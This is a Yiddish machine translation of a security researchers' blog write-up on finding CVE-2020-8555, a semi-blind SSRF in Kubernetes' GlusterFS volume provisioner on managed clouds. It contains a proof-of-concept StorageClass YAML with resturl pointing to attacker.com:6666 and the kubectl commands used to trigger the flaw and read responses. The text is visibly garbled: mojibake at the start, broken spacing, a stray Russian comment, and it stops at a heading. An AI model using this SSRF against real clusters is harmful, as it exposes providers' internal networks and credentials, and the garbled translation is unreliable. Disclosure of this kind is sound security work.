ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...

ื ืื˜ื™ืฅ. ื˜ืจืึทื ืกืœ.: ื“ื™ ืžื—ื‘ืจื™ื ืคื•ืŸ ื“ืขื ืึทืจื˜ื™ืงืœ ืจืขื“ืŸ ืื™ืŸ ื“ืขื˜ืึทืœ ื•ื•ืขื’ืŸ ื•ื•ื™ ื–ื™ื™ ื’ืขืจืื˜ืŸ ืฆื• ืึทื ื˜ื“ืขืงืŸ ื“ื™ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ CVE-2020-8555 ืื™ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก. ื›ืึธื˜ืฉ ืขืก ื˜ื›ื™ืœืขืก ื ื™ืฉื˜ ื’ืขื•ื•ืขืŸ ื–ื™ื™ืขืจ ื’ืขืคืขืจืœืขืš, ืื™ืŸ ืงืึธืžื‘ื™ื ืึทืฆื™ืข ืžื™ื˜ ืื ื“ืขืจืข ืกื™ื‘ื•ืช, ื“ื™ ืงืจื™ื˜ื™ืงืึทื˜ื™ ืื™ื– ื’ืขื•ื•ืขืŸ ืžืึทืงืกื™ืžื•ื ืคึฟืึทืจ ืขื˜ืœืขื›ืข ื•ื•ืึธืœืงืŸ ืคึผืจืึทื•ื•ื™ื™ื“ืขืจื–. ืขื˜ืœืขื›ืข ืึธืจื’ืึทื ื™ื–ืึทืฆื™ืขืก ื”ืึธื‘ืŸ ื‘ืจื™ื™ื˜ื”ืึทืจืฆื™ืง ื‘ืึทืœื•ื™ื ื˜ ื“ื™ ืกืคึผืขืฉืึทืœืึทืกืฅ ืคึฟืึทืจ ื–ื™ื™ืขืจ ืึทืจื‘ืขื˜.

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...

ื•ื•ืขืจ ื–ืขื ืขืŸ ืžื™ืจ

ืžื™ืจ ื–ืขื ืขืŸ ืฆื•ื•ื™ื™ ืคืจืื ืฆื•ื™ื–ื™ืฉ ื–ื™ื›ืขืจื”ื™ื™ื˜ ืจื™ืกืขืจื˜ืฉืขืจื– ื•ื•ืึธืก ืฆื•ื–ืึทืžืขืŸ ื“ื™ืกืงืึทื•ื•ืขืจื“ ืึท ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ืื™ืŸ Kubernetes. ืื•ื ื“ื–ืขืจ ื ืขืžืขืŸ ื–ืขื ืขืŸ Brice Augras ืื•ืŸ Christophe Hauquiert, ืึธื‘ืขืจ ืื•ื™ืฃ ืคื™ืœืข Bug Bounty ืคึผืœืึทื˜ืคืึธืจืžืก ืžื™ืจ ื–ืขื ืขืŸ ื‘ืึทื•ื•ื•ืกื˜ ื•ื•ื™ Reeverzax ืื•ืŸ Hach ืจื™ืกืคึผืขืงื˜ื™ื•ื•ืœื™:

ื•ื•ืืก ืื™ื– ื’ืขืฉืขืŸ?

ื“ืขืจ ืึทืจื˜ื™ืงืœ ืื™ื– ืื•ื ื“ื–ืขืจ ื•ื•ืขื’ ืฆื• ื˜ื™ื™ืœืŸ ื•ื•ื™ ืึท ืคึผืจืึธืกื˜ ืคืึธืจืฉื•ื ื’ ืคึผืจื•ื™ืขืงื˜ ืึทื ื™ืงืกืคึผืขืงื˜ื™ื“ืœื™ ืคืืจืงืขืจื˜ ืื™ืŸ ื“ื™ ืžืขืจืกื˜ ื™ืงืกื™ื™ื˜ื™ื ื’ ืคึผืึทืกื™ืจื•ื ื’ ืื™ืŸ ื“ืขื ืœืขื‘ืŸ ืคื•ืŸ ื–ืฉื•ืง ื›ืึทื ื˜ืขืจื– (ืœืคึผื—ื•ืช ืคึฟืึทืจ ืื™ืฆื˜).

ื•ื•ื™ ืื™ืจ ืžื™ืกื˜ืึธืžืข ื•ื•ื™ืกืŸ, ื–ืฉื•ืง ื›ืึทื ื˜ืขืจื– ื”ืึธื‘ืŸ ืึท ืคึผืึธืจ ืคื•ืŸ ื ืึธื•ื˜ืึทื‘ืึทืœ ืคึฟืขื™ึดืงื™ื™ื˜ืŸ:

  • ื–ื™ื™ ืœืขื‘ืŸ ืื•ื™ืฃ ืคึผื™ืฆืข ืื•ืŸ ื‘ื™ืจ;
  • ื–ื™ื™ ืึทืจื‘ืขื˜ืŸ ื•ื•ืขืŸ ืึทืœืขืžืขืŸ ืึทื ื“ืขืจืฉ ืื™ื– ืฉืœืึธืคื ื“ื™ืง.

ืžื™ืจ ื–ืขื ืขืŸ ืงื™ื™ืŸ ื•ื™ืกื ืขื ืฆื• ื“ื™ ื›ึผืœืœื™ื: ืžื™ืจ ื™ื•ื–ืฉืึทื•ื•ืึทืœื™ ื˜ืจืขืคืŸ ืื•ื™ืฃ ื•ื•ื™ืงืขื ื“ื– ืื•ืŸ ืคืึทืจื‘ืจืขื ื’ืขืŸ ืฉืœืึธืฃ ื ืขื›ื˜ ื›ืึทืงื™ื ื’. ืื‘ืข ืจ ืืฒื ืข ืจ ืคื• ืŸ ื“ ื™ ื ืขื›ื˜ ืŸ ื”ื ื˜ ื–ื™ ืš ื’ืขืขื ื“ื™ืง ื˜ ืื•ื™ ืฃ ื ื–ืฒืข ืจ ืื•ืžื’ืขืฐืฒื ืœืขื› ืŸ ืื•ืคืŸ .

ื˜ื›ื™ืœืขืก ืžื™ืจ ื–ืขื ืขืŸ ื’ืขื’ืื ื’ืขืŸ ืฆื• ื˜ืจืขืคืŸ ืฆื• ื“ื™ืกืงื•ื˜ื™ืจืŸ ืึธื ื˜ื™ื™ืœ ืื™ืŸ CTF ื“ื™ ื ืขืงืกื˜ืข ื˜ืื’. ื‘ืขืฉืึทืก ืึท ืฉืžื•ืขืก ื•ื•ืขื’ืŸ Kubernetes ื–ื™ื›ืขืจื”ื™ื™ื˜ ืื™ืŸ ืึท ื’ืขืจืื˜ืŸ ืกืขืจื•ื•ื™ืก ืกื•ื•ื™ื•ื•ืข, ืžื™ืจ ื’ืขื“ืขื ืงืขืŸ ื“ื™ ืึทืœื˜ ื’ืขื“ืึทื ืง ืคื•ืŸ SSRF (ืกืขืจื•ื•ื™ืจืขืจ-ื–ื™ื™ึทื˜ ื‘ืขื˜ืŸ ืคืึธืจื“ื–ืฉืขืจื™) ืื•ืŸ ื‘ืึทืฉืœืึธืกืŸ ืฆื• ืคึผืจื•ื‘ื™ืจืŸ ืฆื• ื ื•ืฆืŸ ืขืก ื•ื•ื™ ืึท ื‘ืึทืคืึทืœืŸ ืฉืจื™ืคื˜.

11 ืื–ื™ื™ื’ืขืจ ื ืื›ืžื™ื˜ืื’ ื”ืื‘ืŸ ืžื™ืจ ื–ื™ืš ืื•ื•ืขืงื’ืขื–ืขืฆื˜ ื˜ืืŸ ืื•ื ื–ืขืจ ืื•ื™ืกืคืืจืฉื•ื ื’ ืื•ืŸ ื–ืขื ืขืŸ ื’ืขื’ืื ื’ืขืŸ ืฉืœืืคืŸ ืื™ื ื“ืขืจืคืจื™, ื–ื™ื™ืขืจ ืฆื•ืคึฟืจื™ื“ืŸ ืžื™ื˜ ื“ื™ ืจืขื–ื•ืœื˜ืื˜ืŸ. ืขืก ืื™ื– ื’ืขื•ื•ืขืŸ ื•ื•ื™ื™ึทืœ ืคื•ืŸ ื“ืขื ืคืึธืจืฉื•ื ื’ ืึทื– ืžื™ืจ ื”ืึธื‘ืŸ ื’ืขืคึฟื•ื ืขืŸ ื“ื™ MSRC Bug Bounty ืคึผืจืึธื’ืจืึทื ืื•ืŸ ื”ืึธื‘ืŸ ืึท ืคึผืจื™ื•ื•ื™ืœืขื’ื™ืข ืขืกืงืึทืœื™ืจื•ื ื’ ืขืงืกืคึผืœื•ื™ื˜ื™ื™ืฉืึทืŸ.

ืขื˜ืœืขื›ืข ื•ื•ืึธื›ืŸ / ื—ื“ืฉื™ื ื“ื•ืจื›ื’ืขื’ืื ื’ืขืŸ, ืื•ืŸ ืื•ื ื“ื–ืขืจ ืื•ืžื’ืขืจื™ื›ื˜ ืจืขื–ื•ืœื˜ืึทื˜ ืจื™ื–ืึทืœื˜ื™ื“ ืื™ืŸ ืื™ื™ื ืขืจ ืคื•ืŸ ื“ื™ ื”ืขื›ืกื˜ืŸ ืจื™ื•ื•ืึธืจื“ื– ืื™ืŸ ื“ืขืจ ื’ืขืฉื™ื›ื˜ืข ืคื•ืŸ โ€‹โ€‹ื“ื™ Azure Cloud Bug Bounty - ืื™ืŸ ืึทื“ื™ืฉืึทืŸ ืฆื• ื“ืขืจ ื•ื•ืึธืก ืžื™ืจ ื‘ืืงื•ืžืขืŸ ืคื•ืŸ Kubernetes!

ื‘ืึทื–ื™ืจื˜ ืื•ื™ืฃ ืื•ื ื“ื–ืขืจ ืคืึธืจืฉื•ื ื’ ืคึผืจื•ื™ืขืงื˜, ื“ื™ Kubernetes ืคึผืจืึธื“ื•ืงื˜ ื–ื™ื›ืขืจื”ื™ื™ื˜ ืงืึทืžื™ื˜ื™ ืืจื•ื™ืก CVE-2020-8555.

ืื™ืฆื˜ ืื™ืš ื•ื•ืึธืœื˜ ื•ื•ื™ ืฆื• ืคืึทืจืฉืคึผืจื™ื™ื˜ืŸ ืื™ื ืคึฟืึธืจืžืึทืฆื™ืข ื•ื•ืขื’ืŸ ื“ื™ ื’ืขืคึฟื•ื ืขืŸ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ ื•ื•ื™ ืคื™ืœ ื•ื•ื™ ืžืขื’ืœืขืš. ืžื™ืจ ื”ืึธืคืŸ ืื™ืจ ืึธืคึผืฉืึทืฆืŸ ื“ื™ ื’ืขืคึฟื™ื ืขืŸ ืื•ืŸ ื˜ื™ื™ืœืŸ ื“ื™ ื˜ืขื›ื ื™ืฉ ื“ืขื˜ืึทื™ืœืก ืžื™ื˜ ืื ื“ืขืจืข ืžื™ื˜ื’ืœื™ื“ืขืจ ืคื•ืŸ ื“ื™ ื™ื ืคืึธืกืขืง ืงื”ืœ!

ืึทื–ื•ื™ ื“ืึธ ืก ืื•ื ื“ื–ืขืจ ื’ืขืฉื™ื›ื˜ืข ...

ืงืึธื ื˜ืขืงืกื˜

ืฆื• ืžืึทื›ืŸ ื“ื™ ืžืขืจืกื˜ ื–ื™ื ืขืŸ ืคื•ืŸ ื•ื•ืึธืก ื’ืขื˜ืจืืคืŸ, ืœืึธืžื™ืจ ืขืจืฉื˜ืขืจ ืงื•ืง ื•ื•ื™ Kubernetes ืึทืจื‘ืขื˜ ืื™ืŸ ืึท ื•ื•ืึธืœืงืŸ ื’ืขืจืื˜ืŸ ืกื•ื•ื™ื•ื•ืข.

ื•ื•ืขืŸ ืื™ืจ ื™ื ืกื˜ืึทื ื˜ื™ื™ื˜ ืึท Kubernetes ืงื ื•ื™ืœ ืื™ืŸ ืึทื–ืึท ืึท ืกื•ื•ื™ื•ื•ืข, ื“ื™ ืคืึทืจื•ื•ืึทืœื˜ื•ื ื’ ืฉื™ื›ื˜ืข ืื™ื– ื˜ื™ืคึผื™ืงืœื™ ื“ื™ ืคึฟืึทืจืึทื ื˜ื•ื•ืึธืจื˜ืœืขื›ืงื™ื™ื˜ ืคื•ืŸ ื“ื™ ื•ื•ืึธืœืงืŸ ืฉืคึผื™ื™ึทื–ืขืจ:

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...
ื“ื™ ืงืึธื ื˜ืจืึธืœ ืฉื™ื›ื˜ืข ืื™ื– ืœื™ื’ืŸ ืื™ืŸ ื“ื™ ืคึผืขืจื™ืžืขื˜ืขืจ ืคื•ืŸ ื“ื™ ื•ื•ืึธืœืงืŸ ืฉืคึผื™ื™ึทื–ืขืจ, ื‘ืฉืขืช ื“ื™ ืงื•ื‘ืขืจื ืขื˜ืขืก ื ืึธื•ื“ื– ื–ืขื ืขืŸ ืœื™ื’ืŸ ืื™ืŸ ื“ื™ ืคึผืขืจื™ืžืขื˜ืขืจ ืคื•ืŸ ื“ืขืจ ืงื•ื ื”.

ืฆื• ื“ื™ื ืึทืžื™ืงืึทืœืœื™ ืึทืœืึทืงื™ื™ื˜ ื•ื•ืึทืœื™ื•ืžื–, ืึท ืžืขืงืึทื ื™ื–ืึทื ืื™ื– ื’ืขื ื™ืฆื˜ ืฆื• ื“ื™ื ืึทืžื™ืงืึทืœืœื™ ืฆื•ืฉื˜ืขืœืŸ ื–ื™ื™ ืคึฟื•ืŸ ืึท ืคื•ื ื“ืจื•ื™ืกื ื“ื™ืง ืกื˜ืึธืจื™ื“ื–ืฉ ื‘ืึทืงืขื ื“ ืื•ืŸ ืคืึทืจื’ืœื™ื™ึทื›ืŸ ื–ื™ื™ ืžื™ื˜ ืคึผื•ื•ืง (ืคึผืขืจืกื™ืกื˜ืขื ื˜ ื‘ืึทื ื“ ืคืึธื“ืขืจืŸ, ื“"ื” ืึท ื‘ืงืฉื” ืคึฟืึทืจ ืึท ื‘ืึทื ื“).

ืื–ื•ื™, ื ืึธืš ื“ื™ ืคึผื•ื•ืง ืื™ื– ื‘ืืฉืืคืŸ ืื•ืŸ ื’ืขื‘ื•ื ื“ืŸ ืฆื• ื“ื™ StorageClass ืื™ืŸ ื“ื™ K8s ืงื ื•ื™ืœ, ื•ื•ื™ื™ึทื˜ืขืจ ืึทืงืฉืึทื ื– ืฆื• ืฆื•ืฉื˜ืขืœืŸ ื“ืขื ื‘ืึทื ื“ ื–ืขื ืขืŸ ืื™ื‘ืขืจื’ืขื ื•ืžืขืŸ ื“ื•ืจืš ื“ื™ ืงื•ื‘ / ื•ื•ืึธืœืงืŸ ืงืึธื ื˜ืจืึธืœืœืขืจ ืคืึทืจื•ื•ืึทืœื˜ืขืจ (ื–ื™ื™ึทืŸ ืคึผื™ื ื˜ืœืขืš ื ืึธืžืขืŸ ื“ืขืคึผืขื ื“ืก ืื•ื™ืฃ ื“ื™ ืžืขืœื“ื•ื ื’). (ื ืื˜ื™ืฅ. ื˜ืจืึทื ืกืœ.: ืžื™ืจ ื”ืึธื‘ืŸ ืฉื•ื™ืŸ ื’ืขืฉืจื™ื‘ืŸ ืžืขืจ ื•ื•ืขื’ืŸ CCM ื ื™ืฆืŸ ื“ื™ ื‘ื™ื™ืฉืคึผื™ืœ ืคื•ืŸ ื–ื™ื™ึทืŸ ื™ืžืคึผืœืึทืžืขื ื˜ื™ื™ืฉืึทืŸ ืคึฟืึทืจ ืื™ื™ื ืขืจ ืคื•ืŸ ื“ื™ ื•ื•ืึธืœืงืŸ ืคึผืจืึทื•ื•ื™ื™ื“ืขืจื– ื“ืึธ.)

ืขืก ื–ืขื ืขืŸ ืขื˜ืœืขื›ืข ื˜ื™ื™ืคึผืก ืคื•ืŸ ืคึผืจืึทื•ื•ื™ื–ืฉืึทื ื– ื’ืขืฉื˜ื™ืฆื˜ ื“ื•ืจืš Kubernetes: ืจื•ื‘ึฟ ืคื•ืŸ ื–ื™ื™ ื–ืขื ืขืŸ ืึทืจื™ื™ึทื ื’ืขืจืขื›ื ื˜ ืื™ืŸ ืึธืจืงืขืกื˜ืจืึทื˜ืึธืจ ื”ืึทืจืฅ, ื‘ืฉืขืช ืื ื“ืขืจืข ื–ืขื ืขืŸ ื’ืขืจืื˜ืŸ ื“ื•ืจืš ื ืึธืš ืคึผืจืึทื•ื•ื™ื–ืฉืึทื ื– ื•ื•ืึธืก ื–ืขื ืขืŸ ื’ืขืฉื˜ืขืœื˜ ืื™ืŸ ืคึผืึธื“ืก ืื™ืŸ ื“ืขื ืงื ื•ื™ืœ.

ืื™ืŸ ืื•ื ื“ื–ืขืจ ืคืึธืจืฉื•ื ื’, ืžื™ืจ ืคืึธื•ืงื™ืกื˜ ืื•ื™ืฃ ื“ื™ ื™ื ืขืจืœืขืš ื‘ืึทื ื“ ืคึผืจืึทื•ื•ื™ื–ืฉืึทืŸ ืžืขืงืึทื ื™ื–ืึทื, ื•ื•ืึธืก ืื™ื– ื™ืœืึทืกื˜ืจื™ื™ื˜ื™ื“ ืื•ื ื˜ืŸ:

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...
ื“ื™ื ืึทืžื™ืฉ ืคึผืจืึทื•ื•ื™ื–ืฉืึทื ื– ืคื•ืŸ ื•ื•ืึทืœื™ื•ืžื– ืžื™ื˜ ื“ื™ ื’ืขื‘ื•ื™ื˜-ืื™ืŸ Kubernetes ืคึผืจืึทื•ื•ื™ื–ืฉืึทื ื–

ืื™ืŸ ืงื•ืจืฅ, ื•ื•ืขืŸ Kubernetes ืื™ื– ื“ื™ืคึผืœื•ื™ื“ ืื™ืŸ ืึท ื’ืขืจืื˜ืŸ ืกื•ื•ื™ื•ื•ืข, ื“ื™ ืงืึธื ื˜ืจืึธืœืœืขืจ ืคืึทืจื•ื•ืึทืœื˜ืขืจ ืื™ื– ื“ื™ ืคึฟืึทืจืึทื ื˜ื•ื•ืึธืจื˜ืœืขื›ืงื™ื™ื˜ ืคื•ืŸ ื“ื™ ื•ื•ืึธืœืงืŸ ืฉืคึผื™ื™ึทื–ืขืจ, ืึธื‘ืขืจ ื“ื™ ื‘ืขื˜ืŸ ืคึฟืึทืจ ื‘ืึทื ื“ ืฉืึทืคื•ื ื’ (ื ื•ืžืขืจ 3 ืื™ืŸ ื“ื™ ื“ื™ืึทื’ืจืึทืžืข ืื•ื™ื‘ืŸ) ืคืึทืจืœืึธื–ืŸ ื“ื™ ื™ื ืขืจืœืขืš ื ืขืฅ ืคื•ืŸ ื“ื™ ื•ื•ืึธืœืงืŸ ืฉืคึผื™ื™ึทื–ืขืจ. ืื•ืŸ ื“ืึธืก ืื™ื– ื•ื•ื• ื“ื™ ื–ืื›ืŸ ื•ื•ืขืจืŸ ื˜ืึทืงืข ื˜ืฉื™ืงืึทื•ื•ืข!

ื›ืึทืงื™ื ื’ ืกืฆืขื ืึทืจ

ืื™ืŸ ื“ืขื ืึธืคึผื˜ื™ื™ืœื•ื ื’, ืžื™ืจ ื•ื•ืขืœืŸ ื“ืขืจืงืœืขืจืŸ ื•ื•ื™ ืžื™ืจ ื ื•ืฆืŸ ื“ื™ ื•ื•ืึธืจืงืคืœืึธื•ื• ื“ืขืจืžืื ื˜ ืื•ื™ื‘ืŸ ืื•ืŸ ืึทืงืกืขืกื˜ ื“ื™ ื™ื ืขืจืœืขืš ืจืขืกื•ืจืกืŸ ืคื•ืŸ ื“ื™ ื•ื•ืึธืœืงืŸ ืกืขืจื•ื•ื™ืก ืฉืคึผื™ื™ึทื–ืขืจ. ืขืก ื•ื•ืขื˜ ืื•ื™ืš ื•ื•ื™ื™ึทื–ืŸ ืื™ืจ ื•ื•ื™ ืื™ืจ ืงืขื ืขืŸ ื“ื•ืจื›ืคื™ืจืŸ ื–ื™ื›ืขืจ ืึทืงืฉืึทื ื–, ืึทื–ืึท ื•ื•ื™ ื‘ืึทืงื•ืžืขืŸ ื™ื ืขืจืœืขืš ืงืจืึทื“ืขื ื˜ืฉืึทืœื– ืึธื“ืขืจ ืขืกืงืึทืœื™ื™ื˜ื™ื ื’ ืคึผืจื™ื•ื•ื™ืœืึทื“ื–ืฉืึทื–.

ืื™ื™ืŸ ืคึผืฉื•ื˜ ืžืึทื ื™ืคึผื™ืึทืœื™ื™ืฉืึทืŸ (ืื™ืŸ ื“ืขื ืคืึทืœ, ืกืขืจื•ื•ื™ืก ืกื™ื™ื“ ื‘ืขื˜ืŸ ืคืึธืจื“ื–ืฉืขืจื™) ื’ืขื”ืึธืœืคึฟืŸ ืฆื• ื’ื™ื™ืŸ ื•ื•ื™ื™ึทื˜ืขืจ ืคื•ืŸ ื“ื™ ืงืœื™ืขื ื˜ ืกื•ื•ื™ื•ื•ืข ืื™ืŸ ืงืœืึทืกื˜ืขืจื– ืคื•ืŸ ืคืึทืจืฉื™ื“ืŸ ืกืขืจื•ื•ื™ืก ืคึผืจืึทื•ื•ื™ื™ื“ืขืจื– ืื•ื ื˜ืขืจ ื’ืขืจืื˜ืŸ ืง8ืก.

ืื™ืŸ ืื•ื ื“ื–ืขืจ ืคืึธืจืฉื•ื ื’ ืžื™ืจ ืคืึธื•ืงื™ืกื˜ ืื•ื™ืฃ ื“ื™ GlusterFS ืคึผืจืึทื•ื•ื™ื–ืขืจ. ื˜ืจืึธืฅ ื“ืขื ืคืึทืงื˜ ืึทื– ื“ื™ ื•ื•ื™ื™ึทื˜ืขืจ ืกื™ืงื•ื•ืึทื ืก ืคื•ืŸ ืึทืงืฉืึทื ื– ืื™ื– ื“ื™ืกืงืจื™ื™ื‘ื“ ืื™ืŸ ื“ืขื ืงืึธื ื˜ืขืงืกื˜, Quobyte, StorageOS ืื•ืŸ ScaleIO ื–ืขื ืขืŸ ืกืึทืกืขืคึผื˜ืึทื‘ืึทืœ ืฆื• ื“ืขืจ ื–ืขืœื‘ื™ืงืขืจ ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™.

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...
ื–ื™ื“ืœืขืŸ ืคื•ืŸ ื“ื™ื ืึทืžื™ืฉ ื‘ืึทื ื“ ืคึผืจืึทื•ื•ื™ื–ืฉืึทืŸ ืžืขืงืึทื ื™ื–ืึทื

ื‘ืขืฉืึทืก ืกื˜ืึธืจื™ื“ื–ืฉ ืงืœืึทืก ืึทื ืึทืœื™ืกื™ืก ื’ืœื•ืกื˜ืขืจืคืก ืื™ืŸ ื“ื™ Golang ืงืœื™ืขื ื˜ ืžืงื•ืจ ืงืึธื“ ืžื™ืจ ื‘ืืžืขืจืงื˜ืึทื– ืื•ื™ืฃ ื“ืขืจ ืขืจืฉื˜ืขืจ ื”ื˜ื˜ืคึผ ื‘ืขื˜ืŸ (3) ื’ืขืฉื™ืงื˜ ื‘ืขืฉืึทืก ื‘ืึทื ื“ ืฉืึทืคื•ื ื’, ืฆื• ื“ื™ ืกื•ืฃ ืคื•ืŸ ื“ื™ ืžื ื”ื’ URL ืื™ืŸ ื“ืขื ืคึผืึทืจืึทืžืขื˜ืขืจ resturl ืื™ื– ืฆื•ื’ืขื’ืขื‘ืŸ /volumes.

ืžื™ืจ ื‘ืึทืฉืœืึธืกืŸ ืฆื• ื‘ืึทืงื•ืžืขืŸ ื‘ืึทืคืจื™ื™ึทืขืŸ ืคื•ืŸ ื“ืขื ื ืึธืš ื•ื•ืขื’ ื“ื•ืจืš ืึทื“ื™ื ื’ # ืื™ืŸ ืคึผืึทืจืึทืžืขื˜ืขืจ resturl. ื“ืึธ ืื™ื– ื“ืขืจ ืขืจืฉื˜ืขืจ YAML ืงืึทื ืคื™ื’ื™ืขืจื™ื™ืฉืึทืŸ ื•ื•ืึธืก ืžื™ืจ ื’ืขื•ื•ื™ื™ื ื˜ ืฆื• ืคึผืจื•ื‘ื™ืจืŸ ืคึฟืึทืจ ืึท ื”ืึทืœื‘-ื‘ืœื™ื ื“ SSRF ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ (ืื™ืจ ืงืขื ื˜ ืœื™ื™ืขื ืขืŸ ืžืขืจ ื•ื•ืขื’ืŸ ื”ืึทืœื‘-ื‘ืœื™ื ื“ ืึธื“ืขืจ ื”ืึทืœื‘-ื‘ืœื™ื ื“ SSRF, ืคึฟืึทืจ ื‘ื™ื™ึทืฉืคึผื™ืœ, ื“ืึธ - ื‘ืขืขืจืขืš. ืื™ื‘ืขืจื–ืขืฆืŸ):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

ื“ืขืจื ืึธืš ืžื™ืจ ื’ืขื•ื•ื™ื™ื ื˜ ื“ื™ ื‘ื™ื™ื ืขืจื™ ืฆื• ืจื™ืžืึธื•ื˜ืœื™ ืคื™ืจืŸ ื“ื™ Kubernetes ืงื ื•ื™ืœ kubectl. ื˜ื™ืคึผื™ืงืึทืœืœื™, ื•ื•ืึธืœืงืŸ ืคึผืจืึทื•ื•ื™ื™ื“ืขืจื– (Azure, Google, AWS, ืืื–"ื• ื•) ืœืึธื–ืŸ ืื™ืจ ื‘ืึทืงื•ืžืขืŸ ืงืจืึทื“ืขื ื˜ืฉืึทืœื– ืคึฟืึทืจ ื ื•ืฆืŸ ืื™ืŸ ื“ืขื ื ื•ืฆืŸ.

ื“ืึทื ืง ืฆื• ื“ืขื, ืื™ืš ืื™ื– ื‘ื™ื›ื•ืœืช ืฆื• ื ื•ืฆืŸ ืžื™ื™ืŸ "ืกืคึผืขืฆื™ืขืœ" ื˜ืขืงืข. Kube-controller-manager ืขืงืกืึทืงื™ื•ื˜ืึทื“ ื“ื™ ืจื™ื–ืึทืœื˜ื™ื ื’ ื”ื˜ื˜ืคึผ ื‘ืขื˜ืŸ:

kubectl create -f sc-poc.yaml

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...
ื“ืขืจ ืขื ื˜ืคืขืจ ืคื•ืŸ ื“ื™ ืึทื˜ืึทืงืขืจ ืก ืคื•ื ื˜ ืคื•ืŸ ืžื™ื™ื ื•ื ื’

ื‘ืืœื“ ื ืึธืš ื“ืขื, ืžื™ืจ ื–ืขื ืขืŸ ืื•ื™ืš ื‘ื™ื›ื•ืœืช ืฆื• ื‘ืึทืงื•ืžืขืŸ ืึท ื”ื˜ื˜ืคึผ ืขื ื˜ืคืขืจ ืคื•ืŸ ื“ื™ ืฆื™ืœ ืกืขืจื•ื•ืขืจ - ื“ื•ืจืš ื“ื™ ืงืึทืžืึทื ื“ื– describe pvc ืึธื“ืขืจ get events ืื™ืŸ ืงื•ื‘ื•ืงื˜ืœ. ืื•ืŸ ื˜ืึทืงืข: ื“ืขื ืคืขืœื™ืงื™ื™ึทื˜ Kubernetes ืฉืึธืคืขืจ ืื™ื– ืฆื• ื•ื•ืขืจื‘ืึธื•ืก ืื™ืŸ ื–ื™ื™ืŸ ื•ื•ืึธืจื ื™ื ื’ื– / ื˜ืขื•ืช ืึทืจื˜ื™ืงืœืขืŸ ...

ื“ืึธ ืื™ื– ืึท ื‘ื™ื™ึทืฉืคึผื™ืœ ืžื™ื˜ ืึท ืœื™ื ืง ืฆื• https://www.google.frืฉื˜ืขืœืŸ ื•ื•ื™ ืคึผืึทืจืึทืžืขื˜ืขืจ resturl:

kubectl describe pvc poc-ssrf
# ะธะปะธ ะถะต ะผะพะถะตั‚ะต ะฒะพัะฟะพะปัŒะทะพะฒะฐั‚ัŒัั kubectl get events

ื•ื•ืขืŸ ืขืก ืื™ื– ื ื™ื˜ ื ืึธืจ ื•ื•ืขื’ืŸ ืงื•ื‘ืขืจื ืขื˜ืขืก ื•ื•ืึทืœื ืขืจืึทื‘ื™ืœื™ื˜ื™ื– ...

ืื™ืŸ ื“ืขื ืฆื•ื’ืึทื ื’, ืžื™ืจ ื–ืขื ืขืŸ ืœื™ืžื™ื˜ืขื“ ืฆื• ืคึฟืจืื’ืŸ ื•ื•ื™ ื”ื˜ื˜ืคึผ ืคึผืึธืกื˜ืŸ ืื•ืŸ ืงืขืŸ ื ื™ืฉื˜ ื‘ืึทืงื•ืžืขืŸ ื“ื™ ืื™ื ื”ืึทืœื˜ ืคื•ืŸ ื“ื™ ืขื ื˜ืคืขืจ ื’ื•ืฃ ืื•ื™ื‘ ื“ืขืจ ืฆื•ืจื™ืงืงืขืจ ืงืึธื“ ืื™ื– ื’ืขื•ื•ืขืŸ 201. ื“ืขืจื™ื‘ืขืจ, ืžื™ืจ ื‘ืึทืฉืœืึธืกืŸ ืฆื• ื“ื•ืจื›ืคื™ืจืŸ ื ืึธืš ืคืึธืจืฉื•ื ื’ ืื•ืŸ ื™ืงืกืคึผืึทื ื“ื™ื“ ื“ืขื ื›ืึทืงื™ื ื’ ืกืฆืขื ืึทืจ ืžื™ื˜ ื ื™ื™ึทืข ืึทืคึผืจืึธื•ื˜ืฉื™ื–.

ื“ื™ ืขื•ื•ืึธืœื•ืฆื™ืข ืคื•ืŸ โ€‹โ€‹ืื•ื ื“ื–ืขืจ ืคืึธืจืฉื•ื ื’

